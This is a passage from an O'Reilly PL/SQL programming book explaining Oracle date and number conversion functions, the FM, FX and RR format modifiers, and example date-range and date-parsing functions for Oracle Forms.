The TO_DATE function converts a character string to a true DATE datatype. The specification of the TO_DATE function is overloaded for string and number input:

FUNCTION TO_DATE (string_in IN VARCHAR2
    [, format_mask IN VARCHAR2
    [, nls_language IN VARCHAR2 ]]
   )
RETURN DATE;

FUNCTION TO_DATE
   (number_in IN NUMBER
    [, format_mask IN VARCHAR2   [, nls_language IN VARCHAR2 ]])
RETURN DATE;

The second version of TO_DATE can be used only with the format mask of J for Julian date. The Julian date is the number of days which have passed since January 1, 4712 B.C. Only in this use of TO_DATE can a number be passed as the first parameter of TO_DATE.

For all other cases, string_in is the string variable, literal, named constant, or expression to be converted, format_mask is the format mask TO_DATE will use to convert the string, and nls_language is a string which specifies the language which is to be used to interpret the names and abbreviations of both months and days in the string. The format of nls_language is as follows:

'NLS_DATE_LANGUAGE=<language>'

where <language> is a language recognized by your instance of the database. You can usually determine the acceptable languages by checking your installation guide.

Here are some examples of the TO_DATE function:

  • Convert the string `123188' to a date:

    TO_DATE ('123188', 'MMDDYY') ==> 31-DEC-1988

  • Convert a date using the Spanish language:

    TO_DATE ('Abril 12 1991', 'Month DD YYYY', 'NLS_DATE_LANGUAGE=Spanish')
   ==> 12-APR-1991

Any Oracle errors between ORA-01800 and ORA-01899 are related to the internal Oracle date function and can arise when you encounter date conversion errors. You can learn additional nuances of date conversion rules by perusing the different errors and reading about the documented causes of these errors. Some of these rules are:

  • A date literal passed to TO_CHAR for conversion to a date cannot be longer than 220 characters.

  • You cannot include both a Julian date element (J) and the day of year element (DDD) in a single format mask.

  • You cannot include multiple elements for the same component of the date/time in the mask. For example, the format mask YYYY-YYY-DD-MM is illegal because it includes two year elements, YYYY and YYY.

  • You cannot use the 24-hour time format (HH24) and a meridian element (e.g., AM) in the same mask.

14.2.9 The TO_NUMBER function

The TO_NUMBER function converts both fixed- and variable-length strings to numbers using the associated format mask. The specification of the TO_NUMBER function is as follows:

FUNCTION TO_NUMBER
   (string_in IN CHAR
    [, format_mask VARCHAR2 [, nls_language VARCHAR2 ]])
RETURN NUMBER;

FUNCTION TO_NUMBER
   (string_in IN VARCHAR2
    [, format_mask VARCHAR2 [, nls_language VARCHAR2 ]])
RETURN NUMBER;

where string_in is the string containing a sequence of characters to be converted to a number, format_mask is the optional string directing TO_NUMBER how to convert the character bytes to a number, and nls_language is a string containing up to three specifications of National Language Support parameters, as follows:

NLS_NUMERIC_CHARACTERS

The characters used to specify the decimal point and the group separator in a number. The decimal point character for the American language is a dot (.) while the group separator is a comma (,).

NLS_CURRENCY

The character(s) used to specify the local currency symbol. The currency character for the American language is a dollar sign ($).

NLS_ISO_CURRENCY

The character(s) used to specify the international currency symbol in the string.

The format for nls_language in the call to TO_NUMBER is as follows:

'NLS_NUMERIC_CHARACTERS = ''string'''
'NLS_CURRENCY = ''string'''
'NLS_ISO_CURRENCY = ''string'''

Two contiguous single quotes are needed before and after the values for each string value so that PL/SQL will parse the entire parameter and leave behind a single quote around each value.

Previous: 14.1 Conversion Formats | Oracle PL/SQL Programming, 2nd Edition | Next: 14.3 Conversion Function Examples
14.1 Conversion Formats | Book Index | 14.3 Conversion Function Examples
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 14] 14.3 Conversion Function Examples

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

14.3 Conversion Function Examples

This section shows how you can use the conversion functions we've described in actual PL/SQL examples.

14.3.1 FM: Suppressing Blanks and Zeros

PL/SQL offers the FM element as a modifier to a format mask. FM (fill mode) controls the suppression of padded blanks and leading zeros in values returned by the TO_CHAR function.

By default, the following format mask results in both padded blanks and leading zeros (there are five spaces between the month name and the day number):

TO_CHAR (SYSDATE, 'Month DD, YYYY') ==> 'April     05, 1994'

With the FM modifier at the beginning of the format mask, however, both the extra blank and the leading zeros disappear:

TO_CHAR (SYSDATE, 'FMMonth DD, YYYY') ==> April 5, 1994'

The modifier can be specified in upper-, lower-, or mixed-case; the effect is the same.

The FM modifier is a toggle, and can appear more than once in a format model. Each time it appears in the format, it changes the effect of the modifier. By default (that is, if FM is not specified anywhere in a format mask), blanks are not suppressed and leading zeros are included in the result value. So the first time that FM appears in the format it indicates that blanks and leading zeros are suppressed for any following elements. The second time that FM appears in the format, it indicates that blanks and leading zeros are not suppressed for any following elements, and so on.

In the following example I suppress the padded blank at the end of the month name, but preserve the leading zero on the day number with a second specification of FM:

TO_CHAR (SYSDATE, 'fmMonth FMDD, YYYY') ==> April 05, 1994'

If you do not use FM in your mask, a converted date value is always right-padded with blanks to a fixed length (that length is dependent on the different format elements you use). When you do use FM, on the other hand, the length of your return value may vary depending on the actual values returned by the different format elements.

When you do not use FM to convert a number to a character string, the resulting value is always left-padded with blanks so that the number is right-justified to the length specified by the format (or declaration of the variable). When you do use FM, the left-padded blanks are suppressed and the resulting value is left-justified.

Here are some examples of the impact of FM on numbers converted with TO_CHAR:

TO_CHAR (8889.77, 'L9999D99')   ==> '      $8889.77'
TO_CHAR (8889.77, 'fmL9999D99') ==> '$8889.77'

The FM modifier can also be used in the format model of a call to the TO_DATE function to fill a string with blanks or zeros to match the format model. This variation of FM is explored in the discussion of FX.

14.3.2 FX: Matching Formats Exactly

PL/SQL offers the FX element as a modifier to a format mask. FX (format exact) specifies that an exact match must be performed for a character argument and date format mask in a call to the TO_DATE function.

If FX is not specified, the TO_DATE function does not require that the character string match the format precisely. It makes the following allowances:

  • Extra blanks in the character string are ignored. Blanks are not significant data in any of the parts of a date value, except to delimit separate parts of the date and time:

    TO_DATE ('Jan         15       1994', 'MON DD YYYY') ==> 15-JAN-1994

  • Numeric values, such as the day number or the year, do not have to include leading zeros to fill out the mask. As long as the numbers are in the right place in the string (as determined, usually, by the delimiter characters in the string), TO_DATE can convert the numeric values properly:

    TO_DATE ('1-1-4', 'DD-MM-YYYY') ==> 01-JAN-0004
TO_DATE ('7/16/94', 'MM/DD/YY') ==> 14-JUL-1994

  • Punctuation and literals in the string to be converted can simply match the length and position of punctuation and quoted text in the format. In the following example, my format mask specifies hyphen (-) delimiters and the text "WhatIsaynotdo" between the day and the year. The string that I pass it, on the other hand, uses caret (^) delimiters and "the year of" for the embedded text. Because both of the two literals inside quotes have the same number of characters, TO_DATE has no problem making the match.

TO_DATE ('JANUARY^1^ the year of 94', 'Month-dd-"WhatIsaynotdo"yy')
==> 01-JAN-1994

This kind of flexibility is great -- until you want to actually restrict a user or even a batch process from entering data in a nonstandard format. In some cases, it simply is not a reflection of everything being OK when a date string has a pound sign (#) instead of a hyphen (-) between the day and month numbers. For these situations, you can use the FX modifier to enforce an exact match between string and format model.

With FX, there is no flexibility for interpretation of the string. It cannot have extra blanks if none are found in the model. Its numeric values must include leading zeros if the format model specifies additional digits. And the punctuation and literals must exactly match the punctuation and quoted text of the format mask (except for case, which is always ignored). In all of the following examples, PL/SQL raises one of the following errors:

ORA-01861: literal does not match format string
ORA-01862: wrong number of digits for this format item

TO_DATE ('Jan 15 1994', 'fxMON DD YYYY')
TO_DATE ('1-1-4', 'fxDD-MM-YYYY')
TO_DATE ('7/16/94', 'FXMM/DD/YY')
TO_DATE ('JANUARY^1^ the year of 94', 'FXMonth-dd-"WhatIsaynotdo"yy')

The FX modifier can be specified in upper-, lower-, or mixed-case; the effect is the same.

The FX modifier is a toggle, and can appear more than once in a format model. Each time it appears in the format, it changes the effect of the modifier. By default (that is, if FX is not specified anywhere in a format mask), an exact match is not required in any part of the string (as described above). So the first time that FX appears in the format it turns on exact matching for any following elements. The second time that FX appears in the format it indicates that an exact match is not required for any following elements, and so on.

In the following example I specify FX three times. As a result, an exact match is required for the day number and the year number, but not the month number:

TO_DATE ('07-1-1994', 'FXDD-FXMM-FXYYYY') ==> 07-JUL-1994

This next attempt at date conversion will raise ORA-01862 because the year number is not fully specified:

TO_DATE ('07-1-94', 'FXDD-FXMM-FXYYYY') -- Invalid string for format!

You saw in the previous section how the FM modifier would strip leading blanks and zeros from the output of a call to TO_CHAR. You can also use FM in the format model of a call to the TO_DATE function to fill a string with blanks or zeros. This action matches the format model (the opposite of the suppression action). You can, in other words, use FM to guarantee that a format exact match required by FX will succeed. The following call to TO_DATE will return a date because the fm at the beginning of the format mask turns on fill mode for the entire string, thus changing the 1 to 01 and 94 to 1994:

TO_DATE ('07-1-94', 'FXfmDD-FXMM-FXYYYY')

You can also include multiple references to both FM and FX in the same format string, to toggle both or either of these modifiers.

14.3.3 RR: Changing Millenia

We are coming up fast on the end of the 20th century. How many of your programs will still work when the clock ticks over midnight on December 31, 1999? Many of your Oracle-based applications should be well protected since you have been able to take advantage of a true date datatype. In other words, you haven't had to write any special programs to manually manipulate dates, thereby leaving yourself vulnerable. On the other hand, most everyone has been using a two-digit year in their date format masks, either inherited from the default DD-MON-YY or with common substitutes like MM/DD/YY.

The two-digit year format elements could give you problems when the century and millenium are close to changing. The YY format element always defaults to the current century. So when it is November 1999 and your user enters 1/1/1 or 1-JAN-1, they will enter into the database the date of January 1, 1901 -- not January 1, 2001, as they might have been thinking.

What's an IS manager to do? One solution is to go into all your screens and change or add trigger logic so that if the user enters a year number less than ten (or whatever you decide the cutoff to be), then the next century will be assumed. That will work, but it surely must be a most undesirable prospect.

Fortunately, Oracle7 provides a new format element to take care of this problem: the RR format model. With RR you can enter dates from the 21st century before the year 2000 and you can enter dates from the 20th century after the year 2000 (like the birthdays of employees and customers). Here is how RR works:

If the current year is in the first half of the century (years through 49) then:

  • If you enter a date in the first half of the century, RR returns the current century.

  • On the other hand, if you enter a date in the latter half of the century, RR returns the previous century.

  • If the current year is in the latter half of the century (years 50 through 99) then:

    • If you enter a date in the first half of the century, RR returns the next century.

    • If you enter a date in the latter half of the century, RR returns the current century.

Here are some examples of the impact of RR. Notice that the same year numbers are returned for Year 88 and Year 18, even though SYSDATE returns a current date in the 20th and 21st centuries, respectively:

SELECT TO_CHAR (SYSDATE, 'MM/DD/YYYY') "Current Date",
       TO_CHAR (TO_DATE ('14-OCT-88', 'DD-MON-RR'), 'YYYY') "Year 88",
       TO_CHAR (TO_DATE ('14-OCT-18', 'DD-MON-RR'), 'YYYY') "Year 18"
  FROM dual;

Current Date  Year 88  Year 18
------------  -------  -------
  11/14/1994     1988     2018

SELECT TO_CHAR (SYSDATE, 'MM/DD/YYYY') "Current Date",
       TO_CHAR (TO_DATE ('10/14/88', 'MM/DD/RR'), 'YYYY') "Year 88",
       TO_CHAR (TO_DATE ('10/14/18', 'MM/DD/RR'), 'YYYY') "Year 18"
  FROM dual;

Current Date  Year 88  Year 18
------------  -------  -------
  11/14/2001     1988     2018

Of course, if you use the RR format after the year 2000 and want to enter a date that falls in the latter half of the 21st century, you will need to add special logic. Masks with the RR format model will always convert such two-digit years into the previous century.

There are a number of ways you can activate the RR logic in your current applications. The cleanest and simplest way is to change the default format mask for dates in your database instance(s). You can do this by changing the NLS_DATE_FORMAT initialization parameter as follows:

NLS_DATE_FORMAT = 'MM/DD/RR'

or:

NLS_DATE_FORMAT = 'DD-MON-RR'

depending on what the previous format was. Then, if you have not hardcoded the date format mask anywhere else in your screens or reports, you are done. Bring down and restart the database and then your application will allow users to enter dates in the 21st century. If you do have date format masks in the format property for an Oracle Forms item or in an Oracle Reports query or field, you will need to change those modules to reflect the new approach embodied by RR.

14.3.4 Using TO_CHAR to Create a Date Range

At times, users want information about activity on a specific date. In other situations, however, their interest lies in a range of dates. The user might enter the two dates and then expect to view all data that falls between them.

Suppose, for example, that in an Oracle Forms application the user enters 12/4/93 in the start date field and 4/8/96 in the end date field. The query that Oracle Forms executes against the database would need to have logic in it as follows:

hire_date BETWEEN '04-DEC-93' AND '08-APR-96'

or, more generally:

hire_date BETWEEN :criteria.start_date AND :criteria.end_date

where criteria is the name of the block containing the start_date and end_date fields. The colons (:) in front of the field names indicate to PL/SQL that these are bind variables from the host environment.

Sometimes this general logic can be passed directly to the SQL layer. In other situations, programmers must use the Pre-Query trigger or the SET_BLOCK_PROPERTY built-in to alter the SQL statement directly. In this case, they will need to create a string date range from the input dates.

Rather than write the application-specific code to handle this each time, you can build a generic utility, using TO_CHAR and TO_DATE conversion functions.

I offer below the date_range function. Its specification is as follows:

FUNCTION date_range
   (start_date_in IN DATE,
    end_date_in IN DATE,
    check_time_in IN VARCHAR2 := 'NOTIME')
RETURN VARCHAR2

The arguments to date_range are:

start_date_in

The starting date in the range. If NULL then use the min_start_date. If that is NULL, range has form `<= end_date'.

end_date_in

The end date in the range. If NULL then use the max_end_date. If that is NULL, range has form `>= start_date'.

check_time_in

Flag indicating whether or not to include the time component of the dates in the range check. If TIME then use the time component of the dates as part of the comparison. If NOTIME then strip off the time.

If the start date is NULL or the end date is NULL, the string returned by date_range uses the <= and >= operators rather than the BETWEEN operator.

Here are some examples of the output from date_range. Note that date_range places two contiguous quote marks around each date because these are actually string literals. At runtime these two quotes are resolved into a single quote by PL/SQL:

date_range ('04-DEC-93', '08-APR-96')
==>
   BETWEEN TO_DATE (''04-DEC-93'') AND TO_DATE (''08-APR-96'')

date_range ('04-DEC-93', NULL)
==>
   >= TO_DATE (''04-DEC-93'')

date_range (NULL, '04-DEC-93')
==>
   <= TO_DATE (''04-DEC-93'')

If you do want to include the time component, then date_range will generate a string in this form:

date_range ('04-DEC-93', '08-APR-96', 'time')
==>
   BETWEEN TO_DATE (''04-DEC-93'', ''HHMMYYYY HHMISS'') AND
           TO_DATE (''08-APR-96'', ''HHMMYYYY HHMISS'')

Let's take a look at how you might use date_range in query processing in Oracle Forms. The Pre-Query trigger modifies the Default Where clause of a base table block. In Pre-Query, an assignment actually results in the addition of a WHERE clause in the SQL query for that block. Let's look at a simple example first. If Pre-Query contains a statement like this:

:customer.contact_date := '12-JAN-95';

then the query executed by the forms tool to fill the block contains a WHERE clause that looks like this:

WHERE <other clauses> AND (contact_date = '12-JAN-95')

So a simple assignment results in a straightforward comparison/restriction in the WHERE clause. You can also place complex SQL statements in the WHERE clause by appending a pound sign (#) at the beginning of the assignment string. When the forms tools detect the #, they know to substitute completely the equals sign (=) comparison with the text following the symbol. So if you place a statement like this in Pre-Query:

:customer.customer_id :=
   '# IN (SELECT customer_id FROM invoice WHERE invoice_total > ' ||
   TO_CHAR (:invoice.amount);

then the query executed by the forms tool to fill the block contains a WHERE clause that looks like this:

WHERE <other-where-clauses> AND
      customer_id IN (SELECT customer_id
                         FROM invoice WHERE invoice_total > 1000)

This very useful feature is documented in the Advanced Oracle Forms Techniques manual from Oracle Corporation. The syntax of a # assignment in Pre-Query for a date range would be like this:

:employee.hire_date :=
   '# BETWEEN ' || TO_CHAR (:criteria.start_date) || ' AND ' ||
   TO_CHAR (:criteria.end_date);

If I were to place literal dates inside this string assignment, then I would need to put two single quotes together in the string wherever I needed one single quote to appear in the actual value placed in that field, as follows:

:employee.hire_date := '# BETWEEN ''01-JAN-93'' AND ''01-DEC-94''';

Now if I apply the date_range function to this Pre-Query context, I have one of the following:

:customer.contact_date :=
   '# ' || date_range (:criteria.start_date, :criteria.end_date);

or:

:customer.contact_date :=
   '# ' || date_range (:criteria.start_date, :criteria.end_date, 'TIME');

In the first call to date_range, I rely on the default value of the check_time_in parameter of NOTIME to ignore the time component of the dates. In the second call, I explicitly request that the time component be included.

The SET_BLOCK_PROPERTY built-in in Oracle Forms offers another method of modifying the DEFAULT WHERE clause of a base table block. It allows you to directly pass a string of SQL syntax, which then replaces the DEFAULT WHERE clause specified at design time in the form. It is a much more structured approach than using the # syntax. In the following two calls to the built-in, I call date_range to generate a date range and attach that date range syntax to the contact_date column. In the second example I apply TRUNC to the contact date so that the time at which the contact_date was entered does not become a factor in the range check:

SET_BLOCK_PROPERTY
   ('customer', DEFAULT_WHERE,
    'contact_date ' ||
    date_range (:criteria.start_date, :criteria.end_date, 'TIME'));

or:

SET_BLOCK_PROPERTY
   ('customer', DEFAULT_WHERE,
    'TRUNC (contact_date) ' ||
    date_range (:criteria.start_date, :criteria.end_date));

Here is the code for the date_range function:

/* Filename on companion disk: daternge.sf */
FUNCTION date_range
   (start_date_in IN DATE,
    end_date_in IN DATE,
    check_time_in IN VARCHAR2 := 'NOTIME')
RETURN VARCHAR2
IS
   /* String versions of parameters to place in return value */
   start_date_int VARCHAR2(30);
   end_date_int VARCHAR2(30);

   /* Date mask for date<->character conversions. */
   mask_int VARCHAR2(15) := 'MMDDYYYY';

   /* Version of date mask which fits right into date range string */
   mask_string VARCHAR2(30) := NULL;

   /* The return value for the function. */
   return_value VARCHAR2(1000) := NULL;
BEGIN
   /*
   || Finalize the date mask. If user wants to use time, add that to
   || the mask. Then set the string version by embedding the mask
   || in single quotes and with a trailing paranthesis.
   */
   IF UPPER (check_time_in) = 'TIME'
   THEN
      mask_int := mask_int || ' HHMISS';
   END IF;
   /*
   || Convert mask. Example:
   ||       If mask is: MMDDYYYY HHMISS
   ||       then mask string is: ', 'MMDDYYYY HHMISS')
   */
   mask_string := ''', ''' || mask_int || ''')';

   /* Now convert the dates to character strings using format mask */
   start_date_int := TO_CHAR (start_date_in, mask_int);
   end_date_int := TO_CHAR (end_date_in, mask_int);

   /* If both start and end are NULL, then return NULL. */
   IF start_date_int IS NULL AND end_date_int IS NULL
   THEN
      return_value := NULL;

   /* If no start point then return "<=" format. */
   ELSIF start_date_int IS NULL
   THEN
      return_value := '<= TO_DATE (''' || end_date_int || mask_string;

   /* If no end point then return ">=" format. */
   ELSIF end_date_int IS NULL
   THEN
      return_value := '>= TO_DATE (''' || start_date_int || mask_string;

   /* Have start and end. A true range, so just put it together. */
   ELSE
      return_value :=
        'BETWEEN TO_DATE (''' || start_date_int || mask_string ||
           ' AND TO_DATE (''' || end_date_int || mask_string;
   END IF;

   RETURN return_value;

END;

14.3.5 Building a Date Manager

The Oracle Server offers the ability to set a default date format for each instance of a database with the NLS_DATE_FORMAT initialization parameter.[2] Oracle provides a ruthlessly efficient gatekeeper for its RDBMS: there is no way you will ever be able to enter an invalid date into the database. And there are lots of functions that enable you to perform arithmetic on dates once they are in the database. There are, however, obstacles to entering dates efficiently:

[2] This is a big improvement over earlier versions, in which the default date format was hardcoded to be DD-MON-YY. In the Oracle RDBMS Version 6, for example, if your company happened to use something else, you would have to make extensive use of the TO_DATE and TO_CHAR functions (and set the mask on all date fields in your forms applications, as well).

  • Oracle tools do not make it easy for users to enter dates. Oracle Forms, for example, insists that when a user enters a date, it must conform to a single date format mask -- either the system-wide default, or an override for that particular item.

  • Users cannot enter partial date information and have the rest defaulted by the system. Shouldn't users be able to enter a date in any manner they please? That same date mask demands that you enter every part of the date, even if it is always going to be in the current month or year. It seems to me that users should be able to enter the smallest number of characters needed to specify their date, and let the application figure out the rest.

It is possible with PL/SQL to build a "date manager" that satisfies the above moral imperatives for our users. The rest of this section explores the implementation of a function, dm_convert, which converts a string entered by the user into an actual Oracle date value. It liberates the user from having to know the default/enforced format in the Oracle7 database, because the input can conform to any of a wide variety of formats. The function determines which format applies, and returns the date.

14.3.5.1 The dm_convert function date masks

Table 14.4 shows the different date masks which dm_convert supports. The user can enter a string conforming to any of these masks and dm_convert will return a date value. It will not issue such errors as:

ORA-01861 literal does not match format string
ORA-01858 a non-numeric character found where a digit was expected

In addition to supporting many different date formats, dm_convert also offers conversion of "shortcut" entries. Suppose the user wishes to enter the Monday (first day) of this week or the last day of the month. Rather than requiring that users figure out the dates for those days, dm_convert allows them to simply enter a shortcut like "ew" for "end of week." Table 14.5 shows the shortcuts supported by dm_convert. You can easily add your own!

Here are some examples of the way dm_convert changes a string to a date (assuming today's date is December 15, 1994):

dm_convert ('12')    ==> 12-DEC-1994
dm_convert ('3/15')  ==> 15-MAR-1994
dm_convert ('em')    ==> 31-DEC-1994

Table 14.4: Different Masks Supported by dm_convert
Date Mask | User Input | Result (Assuming SYSDATE = 15-DEC-93)
DD | 12 | 12-DEC-1993
MM/DD | 12/1 | 01-DEC-1993
MM/DD/YY | 2/5/92 | 05-FEB-1992
MM/DD/YYYY | 4/12/1990 | 12-APR-1990
DD-MON | 3-Jan | 03-JAN-1993
DD-MON-YY | 19-NOV-92 | 19-NOV-1992
DD-MON-YYYY | 19-NOV-1992 | 19-NOV-1992
MON | JAN | 01-JAN-1993
MON-DD | MAR-02 | 02-MAR-1990
MON-DD-YY | MAR-13-90 | 13-MAR-1990
MON-DD-YYYY | MAR-13-1990 | 13-MAR-1990
Mon-YYYY | MAR-1990 | 01-MAR-1990

Table 14.5: Shortcut Entries for dm_convert
Abbreviation | String | Result (Assuming SYSDATE = 14-MAY-93)
Beginning of Week | BW or bw | Monday in the current week: 14-MAY-93
End of Week | EW or ew | Friday in the current week: 18-MAY-93
Beginning of Month | BM or bm | First day in current month: 01-MAY-93
End of Month | EM or em | Last day in current month: 30-MAY-93

14.3.5.2 Using exception handlers to find the right format

You might be wondering how Steven gets around raising those nasty Oracle errors relating to invalid date formats when he tries to convert the string to a date. The answer is that I use both the procedurality and the exception handling of PL/SQL. In native SQL, I can use TO_DATE to convert a string to a date, but if the format doesn't match the string, I will get an error and the SQL statement will fail. In fact, this is exactly what Oracle Forms does when a user enters a value in a date item.

In PL/SQL, I can use the EXCEPTION clause in my program to trap a conversion failure and handle that failure. Usually when you get such a failure you raise an error, as shown in the following trap conversion failure example:

FUNCTION convert_date (string_in IN VARCHAR2) RETURN DATE IS
BEGIN
   RETURN TO_DATE (string_in);
EXCEPTION
   WHEN OTHERS
   THEN
      DBMS_OUTPUT.PUT_LINE
         (' Invalid format for date conversion of ' || string_in);
END;

Clearly, this is not the behavior I want in dm_convert. In dm_convert, a conversion failure does not result from a user's error in entry. It is simply the first step in a search for the right date format mask. The behavior I need to create in dm_convert is the following:

  1. Try to convert the string with a particular date mask.

  2. If it fails, then try to convert the string with a different date mask.

  3. Continue to do this until the string converts without an error or I run out of date masks.

I can use nested exception handlers, as shown in the following example, to implement this multiple-pass technique:

FUNCTION dm_convert (string_in IN VARCHAR2) RETURN DATE
IS
   my_date DATE;
BEGIN
   BEGIN
      my_date := TO_DATE (string_in, 'MM/DD');
   EXCEPTION
      WHEN OTHERS
      THEN
         BEGIN
            my_date := TO_DATE (string_in, 'MM/DD/YY');
         EXCEPTION
            WHEN OTHERS
            THEN
               BEGIN
                  my_date := TO_DATE (string_in, 'MM/DD/YYYY');

   .. and so on for all the formats...

               END;
         END;
   END;
END;

Here, the dm_convert function uses nested anonymous blocks, each with its own exception section, to trap a date conversion failure and pass it on to the next format. The sequence and variety of masks used dictate the range of valid user input and the precedence with which it is parsed. One problem you might notice with this approach is with indentation. When I use my indentation guidelines for these nested blocks and exception handlers, I quickly run out of room on my page! As a result, in the final version of dm_convert, you will see that I pointedly give up trying to properly indent the exception sections of the function. Instead, I structure the exception sections like a CASE statement:

/* Filename on companion disk: dmcnvrt.sf */
FUNCTION dm_convert (value_in IN VARCHAR2)     RETURN DATE
/*
|| Summary: Validate and convert date input of most any format.
||    dm_convert stands for "date manager conversion". Accepts
||    a character string and returns a fully-parsed and validated
||    date. If the string does not specify a valid date, the function
||    returns NULL.
*/
IS
   /* Internal, upper-cased version of date string */
   value_int VARCHAR2(100) := UPPER (value_in);

   /* The value returned by the function */
   return_value DATE := NULL;

   /* Transfer SYSDATE to local variable to avoid repetitive calls */
   today DATE := SYSDATE;
BEGIN
   /*
   || Handle short-cut logic before checking for specific date formats.
   || Supported short-cuts include:
   ||    EW - end of week
   ||    BW - beginning of week
   ||    EM - end of month
   ||    BM - beginning of month
   ||
   || Add shortcuts for quarters specific to your site.
   */
   IF value_int = 'EW'
   THEN
      /* End of week in this case is Friday of the week */
      return_value := NEXT_DAY (today, 'FRIDAY');

   ELSIF value_int = 'BW'
   THEN
      /* Beginning of week in this case is Monday of the week */
      return_value := NEXT_DAY (today, 'MONDAY') - 7;

   ELSIF value_int = 'BM'
   THEN
       return_value := TRUNC (today, 'MONTH');

   ELSIF value_int = 'EM'
   THEN
      return_value := LAST_DAY (today);

   ELSIF value_int IS NOT NULL
   THEN
      /* No known short-cut. The user must have entered a date string for
      || conversion. Now attempt to convert the value using a sequence
      || of calls to TO_DATE. If one attempt fails, pass it to the next
      || TO_DATE and format mask within a (very) nested exception section.
      */
      BEGIN    return_value := TO_DATE (value_int, 'DD');
      EXCEPTION WHEN OTHERS THEN
      BEGIN return_value := TO_DATE (value_int, 'MM/DD');
      EXCEPTION WHEN OTHERS THEN
      BEGIN return_value := TO_DATE (value_int, 'MM/DD/YY');
      EXCEPTION WHEN OTHERS THEN
      BEGIN return_value := TO_DATE (value_int, 'MM/DD/YYYY');
      EXCEPTION WHEN OTHERS THEN
      BEGIN return_value := TO_DATE (value_int, 'DD-MON');
      EXCEPTION WHEN OTHERS THEN
      BEGIN return_value := TO_DATE (value_int, 'DD-MON-YY');
      EXCEPTION WHEN OTHERS THEN
      BEGIN return_value := TO_DATE (value_int, 'DD-MON-YYYY');
      EXCEPTION WHEN OTHERS THEN
      BEGIN return_value := TO_DATE (value_int, 'MON');
      EXCEPTION WHEN OTHERS THEN
      BEGIN return_value := TO_DATE (value_int, 'MON-DD');
      EXCEPTION WHEN OTHERS THEN
      BEGIN return_value := TO_DATE (value_int, 'MON-DD-YY');
      EXCEPTION WHEN OTHERS THEN
      BEGIN return_value := TO_DATE (value_int, 'MON-DD-YYYY');
      EXCEPTION WHEN OTHERS THEN
      BEGIN return_value := TO_DATE (value_int, 'MON-YYYY');
      EXCEPTION WHEN OTHERS THEN return_value := NULL;
      END; END; END; END; END; END;
      END; END; END; END; END; END;
   END IF;

   /* Whether NULL or a real date, return the value */
   RETURN (return_value);

END;

In the rest of this section I offer alternative implementations of dm_convert. These do not require nesting of exception handling sections and also avoid hardcoding the format masks into the function.

14.3.5.3 Table-driven date format masks

One drawback to the dm_convert procedure as implemented in the previous section is that everything is hardcoded. Sure, I offer lots of acceptable formats, but they still are all coded explicitly in the procedure. What if a new format needs to be added? In addition, the order of precedence of those formats in validating the date input is hardcoded. If a person enters a 1 and the system date is 12-FEB-95, then dm_convert will change the entry into 01-FEB-95. Suppose, however, that the user really wanted to enter 01-JAN-95 by entering a 1 and suppose further that such defaulted entry is a requirement of your application?

Generally, I like to avoid hardcoding any literal values (like the specific formats and their order of execution) in my routines. Any changes (additions or deletions from the supported date formats, or a request in a specific application to move a format up in the batting order) necessitate a change to the program itself, and then the recompilation of all affected modules. I can avoid this scenario by making the date formats and the order in which they are used data-driven. Here's what I would need to do:

  1. Create a table to store the date formats:

    CREATE TABLE dm_date_mask
   (date_mask VARCHAR2(30), date_mask_seq NUMBER(5,2));

  2. Build a screen in your choice of tools to enter and maintain records in this table. Note that users should be able to change the date_mask_seq. This sequence number determines the order in which the mask is applied to the date input.

  3. Rewrite dm_convert to use the data in this table instead of the hardcoded sequence of masks. This new version of dm_convert, shown in the following example, replaces the nested exception sections with a simple loop that reads through the contents of the table and attempts to convert the entry with the next format in the table.

/* Filename on companion disk: dmcntab.sf */
FUNCTION dm_convert (value_in IN VARCHAR2) RETURN DATE

/* I will only comment the new sections in the function */

IS
   value_int VARCHAR2(100) := UPPER (value_in);
   return_value DATE := NULL;
   today DATE := SYSDATE;

   /* Now set up a cursor to go through the table of formats */
   CURSOR mask_cur IS
      SELECT date_mask FROM dm_date_mask
       ORDER BY date_mask_seq;
   mask_rec mask_cur%ROWTYPE;
BEGIN
   /* Convert short-cut entry. Same as before. */
   IF value_int = 'EW'
   THEN return_value := NEXT_DAY (today, 'FRIDAY');
   ELSIF value_int = 'BW'
   THEN return_value := NEXT_DAY (today, 'MONDAY') - 7;
   ELSIF value_int = 'BM'
   THEN return_value := TRUNC (today, 'MONTH');
   ELSIF value_int = 'EM'
   THEN return_value := LAST_DAY (today);
   ELSIF value_int IS NOT NULL
   THEN
      /*
      || Open the cursor and loop through the date masks until one
      || of them is used successfully in a TO_DATE conversion.
      */
      OPEN mask_cur;
      LOOP
         /* Fetch a record. Exit loop if there aren't any more masks */
         FETCH mask_cur INTO mask_rec;
         EXIT WHEN mask_cur%NOTFOUND;
         /*
         || Still need separate PL/SQL block in the function to trap
         || a conversion failure, but I only need ONE!
         */
         BEGIN
            /* Try to convert the date */
            return_value := TO_DATE (value_int, mask_rec.date_mask);
            /*
            || If I made it this far, I have converted the string, so
            || EXIT the loop.
            */
            EXIT;
         EXCEPTION
            /*
            || Conversion failure. Reset value to make sure it is still
            || NULL and then keep going -- back to the loop!
            */
            WHEN OTHERS
            THEN
               return_value := NULL;
         END;
      END LOOP;
      CLOSE mask_cur;
   END IF;

   /* Return the converted date */
   RETURN return_value;
END;

This new version of dm_convert not only looks more elegant than the first version -- it is considerably more flexible in its approach. If you no longer want to accept Month YYYY DD as a date format, simply pull up the maintenance screen, delete that entry from the table, or execute a DELETE from the dm_date_mask table directly in SQL*Plus. Poof ! The users will no longer be able to enter January 1995 11 for a date value.

There is, of course, a downside to this solution, and it is a familiar one. The price of making your code more flexible (for the developer) is almost always to make your code work less efficiently. Now, instead of executing a series of inline TO_DATE conversion functions, we fetch a series of records from a table. The dm_date_mask table could well be sitting on a remote server. This network traffic could well make the application performance unacceptable to precisely the people you are trying to help by providing flexible date formats. What's a developer to do? One answer is to transfer the table into a memory structure at the start of each user session, as we describe in the next section.

14.3.5.4 Stashing date masks in memory

Say you moved the date masks to a table and that any changes made to the dm_date_mask table will not happen very often. For all intents and purposes, the date masks are constant for a particular user session. So it is not really necessary to read the masks from the table every time you need to validate a date entry. Instead, we can transfer the masks from the table into a memory structure at the start of the user session. With this approach you add a little more time to the startup execution of the form, but then speed up the validation and conversion for each date item.

